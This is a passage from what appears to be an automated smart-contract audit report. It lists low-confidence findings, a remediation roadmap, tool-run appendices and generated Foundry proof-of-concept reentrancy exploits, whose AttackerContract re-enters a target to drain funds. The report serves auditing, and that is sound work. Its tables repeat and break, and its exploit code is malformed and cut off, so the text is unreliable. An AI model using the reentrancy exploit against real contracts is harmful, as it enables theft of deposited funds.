
## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.



## Recommendation

Limit loop iterations or use pull payment pattern

## References

- SWC-128
- OWASP Smart Contract Top 10

## F-211. denial\_of\_service

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 33%                      |
| Location    | contract.sol:37          |
| Status      | Open (33% conf.)         |
| Detected By | classic-pattern-detector |

## Description

Denial of service through gas exhaustion or external call failure

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Limit loop iterations or use pull payment pattern

## References

- SWC-128
- OWASP Smart Contract Top 10

## F-212. arithmetic

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 12%                      |
| Location    | contract.sol:42          |
| Status      | Open (12% conf.)         |
| Detected By | classic-pattern-detector |

### Description

Integer overflow or underflow

### Vulnerable Code

```
// Source code not available for this finding
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Use Solidity 0.8+ or SafeMath library

### References

- SWC-101
- OWASP Smart Contract Top 10

## F-213. arithmetic

| PROPERTY   | VALUE  |
|------------|--------|
| Severity   | MEDIUM |
| Category   |        |
| CVSS Score | 3.1    |
| Confidence | 12%    |

| PROPERTY    | VALUE                         |
|-------------|-------------------------------|
| Location    | <code>contract.sol:109</code> |
| Status      | Open (12% conf.)              |
| Detected By | classic-pattern-detector      |

### Description

Integer overflow or underflow

### Vulnerable Code

```
// Source code not available for this finding
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Use Solidity 0.8+ or SafeMath library

### References

- SWC-101
- OWASP Smart Contract Top 10

## F-214. arithmetic

| PROPERTY    | VALUE                         |
|-------------|-------------------------------|
| Severity    | MEDIUM                        |
| Category    |                               |
| CVSS Score  | 3.1                           |
| Confidence  | 12%                           |
| Location    | <code>contract.sol:131</code> |
| Status      | Open (12% conf.)              |
| Detected By | classic-pattern-detector      |

### Description

Integer overflow or underflow

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Use Solidity 0.8+ or SafeMath library

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-215. arithmetic

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 12%                      |
| Location    | contract.sol:153         |
| Status      | Open (12% conf.)         |
| Detected By | classic-pattern-detector |

## Description

Integer overflow or underflow

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Use Solidity 0.8+ or SafeMath library

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-216. arithmetic

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 12%                      |
| Location    | contract.sol:173         |
| Status      | Open (12% conf.)         |
| Detected By | classic-pattern-detector |

## Description

Integer overflow or underflow

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Use Solidity 0.8+ or SafeMath library

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-217. arithmetic

| PROPERTY | VALUE  |
|----------|--------|
| Severity | MEDIUM |

| PROPERTY    | VALUE                         |
|-------------|-------------------------------|
| Category    |                               |
| CVSS Score  | 3.1                           |
| Confidence  | 12%                           |
| Location    | <code>contract.sol:196</code> |
| Status      | Open (12% conf.)              |
| Detected By | classic-pattern-detector      |

### Description

Integer overflow or underflow

### Vulnerable Code

```
// Source code not available for this finding
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Use Solidity 0.8+ or SafeMath library

### References

- SWC-101
- OWASP Smart Contract Top 10

## F-218. denial\_of\_service

| PROPERTY   | VALUE                         |
|------------|-------------------------------|
| Severity   | MEDIUM                        |
| Category   |                               |
| CVSS Score | 3.1                           |
| Confidence | 33%                           |
| Location   | <code>contract.sol:209</code> |
| Status     | Open (33% conf.)              |

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Detected By | classic-pattern-detector |

### Description

Denial of service through gas exhaustion or external call failure

### Vulnerable Code

```
// Source code not available for this finding
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Limit loop iterations or use pull payment pattern

### References

- SWC-128
- OWASP Smart Contract Top 10

## F-219. arithmetic

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 12%                      |
| Location    | contract.sol:214         |
| Status      | Open (12% conf.)         |
| Detected By | classic-pattern-detector |

### Description

Integer overflow or underflow

### Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Use Solidity 0.8+ or SafeMath library

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-220. arithmetic

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 12%                      |
| Location    | contract.sol:284         |
| Status      | Open (12% conf.)         |
| Detected By | classic-pattern-detector |

## Description

Integer overflow or underflow

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Use Solidity 0.8+ or SafeMath library

## References

- SWC-101



- OWASP Smart Contract Top 10

## F-221. denial\_of\_service

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 33%                      |
| Location    | contract.sol:368         |
| Status      | Open (33% conf.)         |
| Detected By | classic-pattern-detector |

### Description

Denial of service through gas exhaustion or external call failure

### Vulnerable Code

```
// Source code not available for this finding
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Limit loop iterations or use pull payment pattern

### References

- SWC-128
- OWASP Smart Contract Top 10

## F-222. bad\_randomness

| PROPERTY | VALUE  |
|----------|--------|
| Severity | MEDIUM |
| Category |        |

| PROPERTY    | VALUE                         |
|-------------|-------------------------------|
| CVSS Score  | 3.1                           |
| Confidence  | 33%                           |
| Location    | <code>contract.sol:371</code> |
| Status      | Open (33% conf.)              |
| Detected By | classic-pattern-detector      |

### Description

Weak randomness from blockchain data

### Vulnerable Code

```
// Source code not available for this finding
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Use Chainlink VRF or commit-reveal scheme

### References

- SWC-120
- OWASP Smart Contract Top 10

## F-223. arithmetic

| PROPERTY    | VALUE                         |
|-------------|-------------------------------|
| Severity    | MEDIUM                        |
| Category    |                               |
| CVSS Score  | 3.1                           |
| Confidence  | 12%                           |
| Location    | <code>contract.sol:402</code> |
| Status      | Open (12% conf.)              |
| Detected By | classic-pattern-detector      |

## Description

Integer overflow or underflow

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Use Solidity 0.8+ or SafeMath library

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-224. denial\_of\_service

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 33%                      |
| Location    | contract.sol:502         |
| Status      | Open (33% conf.)         |
| Detected By | classic-pattern-detector |

## Description

Denial of service through gas exhaustion or external call failure

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Limit loop iterations or use pull payment pattern

## References

- SWC-128
- OWASP Smart Contract Top 10

## F-225. bad\_randomness

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 33%                      |
| Location    | contract.sol:512         |
| Status      | Open (33% conf.)         |
| Detected By | classic-pattern-detector |

## Description

Weak randomness from blockchain data

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Use Chainlink VRF or commit-reveal scheme

## References

- SWC-120
- OWASP Smart Contract Top 10

## F-226. denial\_of\_service

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 33%                      |
| Location    | contract.sol:543         |
| Status      | Open (33% conf.)         |
| Detected By | classic-pattern-detector |

### Description

Denial of service through gas exhaustion or external call failure

### Vulnerable Code

```
// Source code not available for this finding
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Limit loop iterations or use pull payment pattern

### References

- SWC-128
- OWASP Smart Contract Top 10

## F-227. bad\_randomness

| PROPERTY   | VALUE  |
|------------|--------|
| Severity   | MEDIUM |
| Category   |        |
| CVSS Score | 3.1    |
| Confidence | 33%    |

| PROPERTY    | VALUE                         |
|-------------|-------------------------------|
| Location    | <code>contract.sol:551</code> |
| Status      | Open (33% conf.)              |
| Detected By | classic-pattern-detector      |

### Description

Weak randomness from blockchain data

### Vulnerable Code

```
// Source code not available for this finding
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Use Chainlink VRF or commit-reveal scheme

### References

- SWC-120
- OWASP Smart Contract Top 10

## F-228. arithmetic

| PROPERTY    | VALUE                         |
|-------------|-------------------------------|
| Severity    | MEDIUM                        |
| Category    |                               |
| CVSS Score  | 3.1                           |
| Confidence  | 12%                           |
| Location    | <code>contract.sol:568</code> |
| Status      | Open (12% conf.)              |
| Detected By | classic-pattern-detector      |

### Description

Integer overflow or underflow

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Use Solidity 0.8+ or SafeMath library

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-229. denial\_of\_service

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 33%                      |
| Location    | contract.sol:576         |
| Status      | Open (33% conf.)         |
| Detected By | classic-pattern-detector |

## Description

Denial of service through gas exhaustion or external call failure

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Limit loop iterations or use pull payment pattern

## References

- SWC-128
- OWASP Smart Contract Top 10

## F-230. bad\_randomness

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 33%                      |
| Location    | contract.sol:585         |
| Status      | Open (33% conf.)         |
| Detected By | classic-pattern-detector |

## Description

Weak randomness from blockchain data

## Vulnerable Code

```
// Source code not available for this finding
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Use Chainlink VRF or commit-reveal scheme

## References

- SWC-120
- OWASP Smart Contract Top 10

## F-231. arithmetic

| PROPERTY | VALUE  |
|----------|--------|
| Severity | MEDIUM |



| PROPERTY    | VALUE                         |
|-------------|-------------------------------|
| Category    |                               |
| CVSS Score  | 3.1                           |
| Confidence  | 12%                           |
| Location    | <code>contract.sol:793</code> |
| Status      | Open (12% conf.)              |
| Detected By | classic-pattern-detector      |

### Description

Integer overflow or underflow

### Vulnerable Code

```
// Source code not available for this finding
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Use Solidity 0.8+ or SafeMath library

### References

- SWC-101
- OWASP Smart Contract Top 10

## 6. Remediation Roadmap

### 6.1 Prioritized Actions

| PRIORITY | FINDING             | SEVERITY | EFFORT | RATIONALE                                                                                                                                                |
|----------|---------------------|----------|--------|----------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1        | centralization_risk | low      | Medium | All findings are identical and represent a significant risk due to centralization. Any single owner or admin can control critical functions, which could |

| PRIORITY | FINDING             | SEVERITY | EFFORT | RATIONALE                                                                                                                                                                                         |
|----------|---------------------|----------|--------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|          |                     |          |        | lead to misuse or abuse of the contract.                                                                                                                                                          |
| 1        | centralization_risk | low      | Medium | All findings are identical and represent a significant risk due to centralization. Any single owner or admin can control critical functions, which could lead to misuse or abuse of the contract. |
| 1        | centralization_risk | low      | Medium | All findings are identical and represent a significant risk due to centralization. Any single owner or admin can control critical functions, which could lead to misuse or abuse of the contract. |
| 1        | centralization_risk | low      | Medium | All findings are identical and represent a significant risk due to centralization. Any single owner or admin can control critical functions, which could lead to misuse or abuse of the contract. |
| 1        | centralization_risk | low      | Medium | All findings are identical and represent a significant risk due to centralization. Any single owner or admin can control critical functions, which could lead to misuse or abuse of the contract. |
| 1        | centralization_risk | low      | Medium | All findings are identical and represent a significant risk due to centralization. Any single owner or admin can control critical functions, which could lead to misuse or abuse of the contract. |
| 1        | centralization_risk | low      | Medium | All findings are identical and represent a significant risk due to centralization. Any single owner or admin can control critical functions, which could lead to misuse or abuse of the contract. |

| PRIORITY | FINDING             | SEVERITY | EFFORT | RATIONALE                                                                                                                                                                                         |
|----------|---------------------|----------|--------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|          |                     |          |        | lead to misuse or abuse of the contract.                                                                                                                                                          |
| 1        | centralization_risk | low      | Medium | All findings are identical and represent a significant risk due to centralization. Any single owner or admin can control critical functions, which could lead to misuse or abuse of the contract. |
| 1        | centralization_risk | low      | Medium | All findings are identical and represent a significant risk due to centralization. Any single owner or admin can control critical functions, which could lead to misuse or abuse of the contract. |
| 1        | centralization_risk | low      | Medium | All findings are identical and represent a significant risk due to centralization. Any single owner or admin can control critical functions, which could lead to misuse or abuse of the contract. |

## 6.2 Remediation Timeline

| PHASE | WEEK   | PRIORITY        | FINDINGS | ACTION                         |
|-------|--------|-----------------|----------|--------------------------------|
| 1     | Week 1 | Critical & High | 0 + 4    | Immediate remediation required |
| 2     | Week 2 | Medium          | 130      | Address medium severity issues |
| 3     | Week 3 | Low & Info      | 80 + 17  | Fix low priority items         |
| 4     | Week 4 | Verification    | -        | Re-audit and validation        |

## 6.3 Quick Wins

The following fixes provide high security impact with minimal effort:

- missing\_event\_emission** - Add missing events for state changes -
- missing\_event\_emission** - Add missing events for state changes -

**missing\_event\_emission** - Add missing events for state changes -  
**missing\_event\_emission** - Add missing events for state changes -  
**missing\_event\_emission** - Add missing events for state changes

## 6.4 Effort vs Impact Matrix

|                            |                              | IMPACT               |                       |                       |
|----------------------------|------------------------------|----------------------|-----------------------|-----------------------|
|                            |                              | Low                  | Medium                | High                  |
| E<br>F<br>F<br>O<br>R<br>T |                              | <b>Avoid</b><br>3    | <b>Consider</b><br>30 | <b>Schedule</b><br>4  |
|                            | High<br>↑<br>Med<br>↑<br>Low | <b>Defer</b><br>23   | <b>Plan</b><br>100    | <b>Priority</b><br>0  |
|                            |                              | <b>If Time</b><br>71 | <b>Quick Win</b><br>0 | <b>DO FIRST!</b><br>0 |

### Prioritization Summary:

- **Schedule (4):** High effort, high impact - important but complex

## 7. Appendices

### Appendix A: Tool Execution Details

#### A.1. slither

**Execution Time:** N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

#### A.2. aderyn

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 5

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 5
```

Findings summary:

1. [HIGH] eth-send-unchecked-address (line 364)
2. [HIGH] eth-send-unchecked-address (line 498)
3. [HIGH] eth-send-unchecked-address (line 539)
4. [HIGH] eth-send-unchecked-address (line 572)
5. [HIGH] reentrancy-state-change (line 372)

### A.3. solhint

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

### A.4. wake

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

### A.5. semgrep

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

### A.6. fouranalyzer

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 15

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 15
```

Findings summary:

1. [MEDIUM] centralization\_risk (line 225)
2. [MEDIUM] centralization\_risk (line 263)
3. [MEDIUM] centralization\_risk (line 272)
4. [MEDIUM] centralization\_risk (line 391)
5. [MEDIUM] centralization\_risk (line 396)
6. [MEDIUM] centralization\_risk (line 762)
7. [MEDIUM] centralization\_risk (line 768)
8. [MEDIUM] centralization\_risk (line 774)
9. [MEDIUM] centralization\_risk (line 780)
10. [MEDIUM] centralization\_risk (line 786)
- ... and 5 more

### A.7. echidna

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.8. medusa

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.9. foundry

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.10. dogefuzz

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.11. vertigo

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.12. hardhat

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.13. mythril

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

#### A.14. manticore

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

#### A.15. halmos

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

#### A.16. oyente

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

#### A.17. pakala

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

#### A.18. certora

**Execution Time:** N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

#### A.19. smtchecker

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

## A.20. propertygpt

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

## A.21. scribble

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

## A.22. solcmc

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

## A.23. smartllm

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

## A.24. gptscan

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

## A.25. llmsmartaudit

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

## A.26. gptlens

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)



```
Analysis completed successfully.  
Findings detected: 0
```

### A.27. llamaaudit

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.28. iaudit

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.29. dagnn

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.30. smartbugs\_ml

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.31. smartbugs\_detector

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.32. smartguard

**Execution Time:** N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

### A.33. peculiar

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.34. threat\_model

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.35. gas\_analyzer

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.36. mev\_detector

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.37. contract\_clone\_detector

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.38. defi

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.39. advanced\_detector

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

#### A.40. upgradability\_checker

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

#### A.41. crosschain

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

#### A.42. zk\_circuit

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

#### A.43. bridge\_monitor

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

#### A.44. l2\_validator

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

#### A.45. circom\_analyzer

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.46. llmbugscanner

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.47. audit\_consensus

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.48. exploit\_synthesizer

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.49. vuln\_verifier

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

### A.50. remediation\_validator

**Execution Time:** N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

## Appendix B: Proof of Concept Exploits

The following PoC exploit templates were generated for critical/high findings. These are designed for local Foundry test environments and are NOT production exploits.

### B.20. F-020 - reentrancy-state-change

**Severity:** HIGH | **Category:** reentrancy-state-change

```
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
import "forge-std/Test.sol";
```

```

import "forge-std/console.sol";

/**
 * @title flattened_MessageBus Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Changing state after an external call can lead to re-entrancy
 attacks.Use the checks-effects-interactions pattern to avoid this issue.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-13 20:56
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract flattened_MessageBusReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
        // target = IVulnerable(deployCode("flattened_MessageBus.sol"));

        // Deploy attacker contract
        vm.prank(attacker);
        attackerContract = new AttackerContract(address(target));

        // Victim deposits funds
        vm.prank(victim);
        target.deposit{value: VICTIM_DEPOSIT}();

        console.log("=== Setup Complete ===");
    }
}

```

```

        console.log("Target balance:", address(target).balance);
        console.log("Victim deposited:", VICTIM_DEPOSIT);
    }

    function test_exploit_reentrancy() public {
        console.log("\n=== Starting Reentrancy Attack ===");

        uint256 targetBalanceBefore = address(target).balance;
        uint256 attackerBalanceBefore = attacker.balance;

        console.log("Target balance before:", targetBalanceBefore);
        console.log("Attacker balance before:", attackerBalanceBefore);

        // Fund attacker contract
        vm.prank(attacker);
        (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
        require(sent, "Failed to fund attacker");

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        // Withdraw stolen funds
        vm.prank(attacker);
        attackerContract.withdrawStolenFunds();

        uint256 targetBalanceAfter = address(target).balance;
        uint256 attackerBalanceAfter = attacker.balance;

        console.log("\n=== Attack Complete ===");
        console.log("Target balance after:", targetBalanceAfter);
        console.log("Attacker balance after:", attackerBalanceAfter);
        console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

        // Assertions
        assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
    }

    function test_reentrancy_count() public {
        // Fund attacker
        vm.prank(attacker);
        (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
        require(sent, "Failed to fund attacker");

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

```

```

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("unknown()")
            );
            require(success, "Reentrancy failed");
        }
    }
}

```

## B.21. F-021 - reentrancy-state-change

**Severity: HIGH** | **Category:** reentrancy-state-change

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title flattened_MessageBus Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Changing state after an external call can lead to re-entrancy
 attacks. Use the checks-effects-interactions pattern to avoid this issue.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-13 20:56
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract flattened_MessageBusReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
}

```

```

address public victim;

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
